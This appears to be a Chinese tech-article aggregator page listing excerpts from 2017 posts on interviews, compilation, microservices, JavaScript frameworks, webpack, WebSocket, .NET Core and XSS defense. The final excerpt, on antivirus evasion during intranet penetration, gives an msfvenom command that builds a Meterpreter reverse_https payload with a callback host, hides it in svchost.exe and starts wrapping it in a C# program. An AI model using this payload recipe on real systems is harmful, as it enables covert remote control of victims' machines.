聚合文章列表
17 浏览

面试软件工程师,这些准备工作你做了吗?

原标题:面试软件工程师,这些准备工作你做了吗?编者按:本文作者ConnorLeech是在湾区工作的一名网页开发人员,他在本文中面向那些正寻求找到一个软件工程师岗位的求职者,探讨了他们在面试环节可以采取的准备工作。虽然各个公司对于评估人才有自己不同的标准,但软件工程岗位面试大致可分为两类:特定领域知识面试和计算机科学基础知识面试。求职者了解公司评估方式之后,也就可以有的放矢,分别采取相应的准备策略。作为一名软件工程师来说,能否通过技术面试对于自己的职业发展至关重要,但是求职者往往很难知道具体怎样去为面试做准备。因为不同的软件公司采用不同的方式对工程师进行评估,而在这种压力很大、同时又很重要的场合,毫无防备的前去面试似乎是最糟糕的一种状态。幸运的一点是,这些技术面试通常可以分为两大类:特定领域知识面试和计算机科学基础知识面试。对于想走上软件工程师职业发展道路的求职者来说,了解这些评估人才的不同方法是很重要的一点,从而可以在他们最需要改进的地方采取措施进行进一步的提升。本篇文章介绍了每种面试类型可能出现的问题,以及你可以采取的准备

程序员 2017-12-15 发布
15 浏览

(程序员的自我修养)了解程序运行之前都干了些什么

开篇先介绍两篇文章,一篇是大神bestsWifter《程序员的自我修养》读书总结还有一篇我感觉也是非常好的文章,作者教会我们对待学习的态度为什么知乎Live,分答,得到都不是干货?-20171123其实下面我要记录下的内容也都是<程序员的自我修养>这本书里面的内容,这里记录下来正题C语言的经典,“Hello,World”程序几乎是每个程序员闭着眼睛都能写出来的,编译运行一气呵成。#includeintmain(){printf("Helloworld\n")return0;}在Linux下,当我们使用GCC来编译HelloWorld程序时,只须使用最简单的命令(假设源代码的文件名为hello.c)$gcchello.c$./a.outHelloWorld事实上,上述过程可以分解为4个步骤,分别是预处理(Prepressing),编译(Compilation),汇编(Assembly)和链接(Linking)

程序员 2017-12-15 发布
18 浏览

多面“程序媛”:当得了“大牛”,忍得了歧视

自从张婉桥加入360集团无线电安全研究部的独角兽团队后,办公室里长年鲜花不断,据说都是她自己买的,不是别人送的。作为圈内小有名气的白帽黑客,她的外在形象与自己从事的工作有着巨大的“反差萌”——她身材纤细、长发及腰,说起话来轻声细语。不过,张婉桥虽然有“颜即正义”的资本,但却是名厉害的“程序媛”(网络上对女程序员的爱称——记者注)。她随手就能破解别人的密码,劫持4GLTE网络让手机乖乖交出所有通讯数据,用三招识别和反干扰无人机“黑飞”并追踪定位到操纵者的地理位置……用实力反驳“女程序员纯粹是为了调节气氛”的偏见。“程序媛”:谁说女子不如男?翻开计算机科技的历史,人们会惊奇地发现女性在其中的地位和能力从来不亚于男性,很多优秀的女程序员都是智慧与美貌并存。例如公爵夫人阿达·洛芙莱斯,她是英国著名诗人拜伦的女儿,不仅预言了通用计算机的可能,还发明了世界上第一个计算机程序。再如葛丽丝·穆雷·霍普,她是美国海军准将及计算机科学家,全世界最早一批程序设计师之一,创造了现代第一个编译器A-0系统,以及第一个高级商用电脑编程语言“COBOL”。然而不

程序员 2017-12-15 发布
AD 友情赞助
13 浏览

从需求到代码

我是一个程序员,Android程序员。作为一个程序员的日常就是把需求变成代码,但是过程很坎坷。1.深受二手需求的毒一个需求的来源可能是很复杂的,可能来自用户的反馈,可能来自老板的一个梦,作为程序员,无论什么需求都得接着。可能有些需求可能是通过很多层的传递才来到程序员手里。这个就像综艺节目里面常有的游戏,到最后的那个人,听到的需求已经离原始需求差了十万八千里了。所以,如果可能,开发者最好可以亲自确认一下原始的需求。2.提需求与谈技术二选一人是有惯性思维的,所以人们选择群居,成为社会性的生物。我们彼此交流,我们在各自擅长的领域给其他人意见。提需求,是需要了解人或者事,而谈技术又是另一世界。我们只需要二选一,把一种技能练成盖世神功。3.猿猿与媛媛们的职业道德程序员的职业道德是什么?我不知道。整洁的代码?详尽的注释?丰富的文档?可能都是,但是我觉得最重要的是,不要随便该需求。可能这个需求做起来有些麻烦,可能目前的我还不知道怎么实现,可能这是一个“假”需求。但这都不是程序员改需求的理由。程序员的基本价值就是实现需求。4.

程序员 2017-12-15 发布
20 浏览

中小型研发团队架构实践:微服务架构

一、MSA简介1.1、MSA是什么微服务架构MSA是MicroserviceArchitect的简称,它是一种架构模式,它提倡将单一应用程序划分成一组小的服务,服务之间互相通讯、互相配合,为用户提供最终价值。它与SOA之间的区别如下:1.2、我们的MSA框架我们的微服务框架MsaFx.dll是个基于ServiceStack4.0.60包装实现的.NETWebServices框架,而ServiceStack本身支持通用的轻量级协议和Metadata。MsaFx与普通WebServices框架如WCF相比,主要优势如下:高性能:性能好、速度快。支持跨平台运行:基于MsaFx开发出的WebServices既能够运行在Windows环境中,又能够运行在支持Mono的Linux环境中。支持多协议:如JSON格式的也支持XSD。更加Web化:RESTful。服务端实现与客户端实现的完全解耦:MSA基于消息的设计,使得服务端的API改变并不会破坏

软件架构 2017-12-15 发布
18 浏览

Redkale 1.8.7 发布,Java分布式微服务

Redkale是一个全新,完全颠覆传统思维的Java分布式服务架构,不到1M的jar可以代替传统几十M的第三方。包含TCP/UDP、HTTP、RPC、依赖注入、序列化与反序列化、数据库操作、WebSocket等功能。在性能方面不是一般框架能比的。本次版本更新内容:1、【优化】增加manifest的MimeType2、【优化】EntityInfo增加getQueryColumns方法3、【优化】DataSource增加getType()方法4、【优化】HttpResult支持byte[]、ByteBuffer和ByteBuffer[]5、【优化】对SNCP的Address进行IPv4判断6、【优化】删掉AsyncHandler,采用CompletionHan

软件架构 2017-12-15 发布
AD 友情赞助
14 浏览

用python解决mysql视图导入导出依赖问题

navicat是mysql可视化工具中最棒的,但是,在处理视图的导入导出方面,它是按照视图名称的字母顺序来处理的,若视图存在依赖,在导入过程中就会报错。这个问题一直困绕我,一度因为我使用docker来部署mysql而绕过了这个问题。最近不得不直面这个问题,因此,写了一个小工具来解决它。整体思路在mysql很容易查出所有视图和其定义,因此可以写一个视图导出工具,存储时对各视图的保存位置进行调整,处理好它们之间的依赖关系,被依赖的放前面,这样就解决了导入时的依赖问题。获取视图信息运行以下查询语句,就能获得该数据库中所有视图的信息。select*frominformation_schema.VIEWSwhereTABLE_SCHEMA=DatabaseName查询结果字段说明:TABLE_NAME:数所库中视图名称VIEW_DEFINITION:视图的定义代码,只有查询语句部分DEFINER:视图定义(建立)者名称SECURITY:安全级别总之,所有视图的信息都在这个表中保存,我要完成任务,只需要TABL

MySQL 2017-12-15 发布
15 浏览

JS 开发者:最喜欢 React,Vue.js 比 Angular 值得尝试

StateOfJavaScript2017调查结果已经出炉。作者对众多JavaScript开发者进行了调查,以了解现在前端开发者对前端各种技术栈、框架的使用情况与看法。根据10月份的StateoftheOctoverse2017报告,在现有的337种开发语言中,JavaScript仍然是GitHubbers的最爱。JavaScript的生态系统一年比一年丰富,即使是最有经验的开发人员,在每个阶段考虑可用的众多选项时,也会变得犹豫不决。StackOverflow不久前做的技术趋势分析显示,部分JavaScript的技术成员一直呈现“持续增长”的趋势,如:Angular,TypeScript和Meteor。StateOfJavaScript2017调查结果喜爱度调查结果显示,有将近9K的被调查者表示听过TypeScript,并打算学学看。其中最受欢迎的是ES6,超过2万的用户表示用过,并还会继续用或再次使用。前端开发在对前端框架使用情况进行调查时,出现了

JavaScript 2017-12-15 发布
15 浏览

资料分享 | XSS防御速查表

写在前面之前翻译了OWASP的XSS过滤绕过速查表,这篇也算是个后续。文中的翻译尽可能保持原文格式,但一些地方为了通顺和易于理解也做了一定改动,如有翻译问题,还请各位大牛指正。本文翻译时版本是20171014,后续如果有大更新的话也会跟进更新。一、介绍本文提供了一种通过使用输出转义/编码来防止XSS攻击的简单有效模型。尽管有着庞大数量的XSS攻击向量,依照下面这些简单的规则可以完全防止这种攻击。这篇文章不会去研究XSS技术及业务上的影响。简而言之,受害者能在其浏览器上做的任何事情攻击者都可以通过XSS实现。反射型和存储型XSS都可以在服务器端进行适当的验证和转义。基于DOM的XSS可以通过基于DOM的XSS防御指南中的一系列子规则进行防御。如果想查找XSS相关攻击向量,可以参考XSS过滤绕过速查表。更多的浏览器安全背景知识以及各种浏览器知识可以在浏览器安全指南中找到。阅读本文之前,有注入原理的基础知识是很重要的。1.1.一个有效的XSS防御模型这篇文章将一个HTML页面视为一个模板,其向开发者提供可以向其中放置不可信数

JavaScript 2017-12-15 发布
AD 友情赞助
37 浏览

阿里云 Node.js 性能平台(公测/商业化)发布

摘要:产品介绍:["Node.js性能平台(Node.jsPerformancePlatform),是由阿里云所提供的,面向中大型Node.js应用提供性能监控、安全提醒、故障排查、性能优化等服务的整体性解决方案。产品介绍:["Node.js性能平台(Node.jsPerformancePlatform),是由阿里云所提供的,面向中大型Node.js应用提供性能监控、安全提醒、故障排查、性能优化等服务的整体性解决方案。凭借对Node.js内核深入的理解,我们提供完善的工具链和服务,协助客户主动、快速发现和定位线上问题。"]发布功能:Node.js性能平台是基于Node.js内核而实现的应用性能解决方案,本次发布主要包含如下主要功能:1.深度监控。Node.js性能平台能够深入到内核层面提供监控,包括进程CPU、内存、堆、GC、定时器等常规软件无法监控到的性能信息,让开发者或运维能够深度了解应用运行状态。2.在线诊断。Node.js性能平台提供对运行中的Node.js进程进行在线Pro

JavaScript 2017-12-15 发布
16 浏览

vue项目中对axios的二次封装

近来在使用vue重构公司m站时,使用了axios来进行数据的请求,由于项目的需要,对axios进行了二次封装,点击进入axios//引入axiosimportaxiosfrom'axios'letcancel,promiseArr={}constCancelToken=axios.CancelToken;//请求拦截器axios.interceptors.request.use(config=>{//发起请求时,取消掉当前正在进行的相同请求if(promiseArr[config.url]){promiseArr[config.url]('操作取消')promiseArr[config.url]=cancel}else{promiseArr[config.url]=cancel}returnconfig},error=>{returnPromise.reject(error)})//响应拦截器即异常处理axios.interceptors.response.use(response=

JavaScript 2017-12-15 发布
19 浏览

JavaScript学习笔记(十六)——面向对象编程

在学习廖雪峰前辈的JavaScript教程中,遇到了一些需要注意的点,因此作为学习笔记列出来,提醒自己注意!如果大家有需要,欢迎访问前辈的博客https://www.liaoxuefeng.com/学习。面向对象编程JavaScript的所有数据都可以看成对象,但是,如果我们仅仅使用Number、Array、string以及基本的{...}定义的对象,这也不能称为面向对象编程。总所周知,面向对象有两个基本概念:类:类是对象的类型模板,例如,定义Student类来表示学生,类本身是一种类型,Student表示学生类型,但不表示任何具体的某个学生;实例:实例是根据类创建的对象,例如,根据Student类可以创建出xiaoming、xiaohong、xiaojun等多个实例,每个实例表示一个具体的学生,他们全都属于Student类型。类和实例是大多数面向对象编程语言的基本概念。但是,在JavaScript中,面向对象的概念并非如此:JavaScript中不区分类和实例的概念,而是通过原

JavaScript 2017-12-15 发布
AD 友情赞助
28 浏览

使用思维导图,优雅的完成自己的代码

我自己常常在写代码的时候,会突然搞不清变量用来干嘛的,也会被理不清的逻辑搞得自己异常烦躁,我甚至常常暗示自己我不适合写代码,思维总是那么不清晰。直到我发现了思维导图的妙用。最开始使用思维导图的时候,我其实是用来记知识点的。然而某一刻就灵光一闪了,尝试使用了思维导图来记录代码变量和逻辑,最后居然就轻松的把以为要理很久的问题搞定了。为了验证自己的想法,我又尝试自己写了一些小东西,对于我们这些初学者,肯定是选项卡和分页什么的最常用了,因为里面有一些变量总是那么令人难以捉摸,这里我以分页为例,向大家分享我是如何用脑图完成分页的。这里省去使用ajax获取后台数据的部分,我自己创建一个js文件,里面用JSON存了一点数据。一般来说使用ajax都是一页一页的获取数据,我这里直接将所有数据都显示出来。首先,根据多方了解,翻阅资料,找到了一种实现分页的方式,大概就是用一些变量来控制,比如当前页,总页数,还有第几页的按钮等等,然后再写一个比如showPage()来显示当前页的内容,通过变量的改变来控制showPage()的显示。首先用css画一个大概

JavaScript 2017-12-15 发布
13 浏览

Vue SPA 打包优化实践

这里只需要import进来就行了。在build目录下新建webpack.dll.conf.js配置文件:varpath=require('path')varwebpack=require('webpack')varcontext=path.join(__dirname,'..')module.exports={entry:{vendor:['./src/vendor.js']//entry以项目根目录为起始路径},output:{//将打包后的js放到static目录下,build的时候会copy到dist目录path:path.join(context,'static/js'),filename:'[name].dll.js',library:'[name]'},resolve:{alias:{'vue$':'vue/dist/vue.esm.js'}},plugins:[newwebpack.DllPlugin({path:path.join(context,'[na

JavaScript 2017-12-19 发布
16 浏览

〔总结〕容易遗忘的JS知识点整理

为了判断一个对象是否包含自定义属性而不是原型链上的属性,我们需要使用继承自Object.prototype的hasOwnProperty方法。hasOwnProperty是JavaScript中唯一一个处理属性但是不查找原型链的函数。//修改Object.prototypeObject.prototype.bar=1;varfoo={goo:undefined};foo.bar;//1'bar'infoo;//truefoo.hasOwnProperty('bar');//falsefoo.hasOwnProperty('goo');//true注意:通过判断一个属性是否undefined是不够的。因为一个属性可能确实存在,只不过它的值被设置为undefined。hasOwnProperty作为属性JavaScript不会保护hasOwnProperty被非法占用,因此如果一个对象碰巧存在这个属性,就需要使用外部

JavaScript 2017-12-15 发布
18 浏览

创建炫酷 CSS 背景效果的 10 个代码片段

在现代网页设计中,大背景图设计非常流行。随着高清(现在是4K)显示器的出现,越来越多的网页设计师使用大背景图来填充屏幕。为什么?因为这样可以造成很大的视觉冲击力,并有助于更好的传递所要表现的内容。但是,如果只是吧大背景简单的放在网页上效果有限。使用CSS,偶尔结合JavaScript,可以创造出一些惊人的特效。让我们来探讨一些设计师激发背景特效的方式。我们还会为每种技术添加一个简单的说明,以便你可以了解他们的工作方式。CSS混合模式的颜色变化这种背景效果之所以如此之酷,是因为当用户滚动时,顶部的固定元素似乎会改变颜色。CSSmix-blend-mode属性的使用允许改变色调化,这取决于背景的内容。SeethePenCSSbackgroundchangeonscrollbyGiana(@giana)onCodePen.0滚动动画这一技术让人想起了过去的小游戏,它的特点是两种截然不同的图像向相反的方向滚动。他可以在CSStransform和一些JS的帮助下完成的。S

CSS 2017-12-15 发布
18 浏览

WebSocket 教程

WebSocket是一种网络通信协议,很多高级功能都需要它。本文介绍WebSocket协议的使用方法。一、为什么需要WebSocket?初次接触WebSocket的人,都会问同样的问题:我们已经有了HTTP协议,为什么还需要另一个协议?它能带来什么好处?答案很简单,因为HTTP协议有一个缺陷:通信只能由客户端发起。举例来说,我们想了解今天的天气,只能是客户端向服务器发出请求,服务器返回查询结果。HTTP协议做不到服务器主动向客户端推送信息。这种单向请求的特点,注定了如果服务器有连续的状态变化,客户端要获知就非常麻烦。我们只能使用"轮询":每隔一段时候,就发出一个询问,了解服务器有没有新的信息。最典型的场景就是聊天室。轮询的效率低,非常浪费资源(因为必须不停连接,或者HTTP连接始终打开)。因此,工程师们一直在思考,有没有更好的方法。WebSocket就是这样发明的。二、简介WebSocket协议在2008年诞生,2011年成为国际标准。所有浏览器都已经支持了。它的最大特

HTML5 2017-12-15 发布
17 浏览

尝试新的开发组合:Asp.NET Core+ABP框架+IdentityServer4+MySQL+Ext JS

因为早期一个项目的需要,开始研究CasServer,这东西的原版是JAVA写的,有一定的年头了,要用起来还要自己进行修改。囿于自己JAVA方面的知识贫乏,对这东西没太大兴趣。后来,发现微软出了个IdentityServer4,这东西不错,修改起来也容易,合自己胃口,于是就一直关注着这东西。要使用IdentityServer4,一个关键的地方是如何控制用户的权限,在文档中,使用IdentityServer4控制权限主要有基于资源授权和基于策略授权两种模式。这两种模式,无论是那一种,都需要在服务器配置授权,而这对于一些企业应用程序来说,总感觉有点麻烦。其中的问题在于是否需要在认证服务器上实现一套权限系统,找了一些资料,都是建议不要这样做的,如《IdentityvsPermissions》这篇文章,笔者是比较赞同,但遗憾的是没提供一个解决方案。找了不少资料,但都没找到好解决办法。实现的主要的难点在于,用户的注册和登录都是在认证服务器上实现的,在用户注册的时候,如何在WebApi或MVC这端创建一个用户信息呢?实现方法的可以是用户注册后

.Net 2017-12-15 发布
17 浏览

使用Windows兼容包简化向.NET Core的迁移

从.NET迁移到.NETCore的一个主要原因,在于后者具备在Linux上运行的能力。但是对于大型企业应用,不可能实现一步迁移到位。由此,Microsoft推荐采用一种逐步迁移做法:第一步,迁移到ASP.NETCore(依然使用.NETFramework);第二步,迁移到.NETCore(依然运行在Windows上);第三步,迁移到Linux上;第四步,迁移到(托管Linux主机的)Azure中。这一做法理论上可行,但是在第二步中会有阻碍,因为缺乏关键API。用于.NETCore的Windows兼容包的推出,意在解决这一问题。该兼容包是一个NuGet软件包集合,其中包含了近两万个API,目的在于解决Web应用程序开发人员对于优秀软件库的需求。新引入的API大体上可分为两类。一类是仅适用于Windows的API,另一类是跨平台的软件库。其中,仅适用于Windows的API包括:Activedirectory;加密;事件日志和性能计数器;文件系统安全;命名管道;注册表访问(RegistryAccess);Wind

.Net 2017-12-15 发布
22 浏览

Windows Payload免杀方法实验

前言最近的在学习内网渗透过程中,遇到的一个问题就是如何静静的在目标机器执行Payload。网上姿势很多,最先想到的是PowerSploit,后来看到余弦的猥琐流打法影响深刻,于是动手实践,有些能被360监测到,过程如下:一、Payloadmsfvenom-pwindows/meterpreter/reverse_https-ax86--platformwin-fcsharp-ofoo.csharp-b"\x00\xff"LHOST=10.51.90.60LPORT=443PrependMigrate=truePrependMigrateProc=svchost.exe二、编译exe文件新建的C#工程将Step1生产的代码覆盖到PasteyourPayloadhereusingSystem;usingSystem.Threading;usingSystem.Runtime.InteropServices;namespaceMSFWrapper{publicclassProgram{pu

.Net 2017-12-15 发布
AD 友情赞助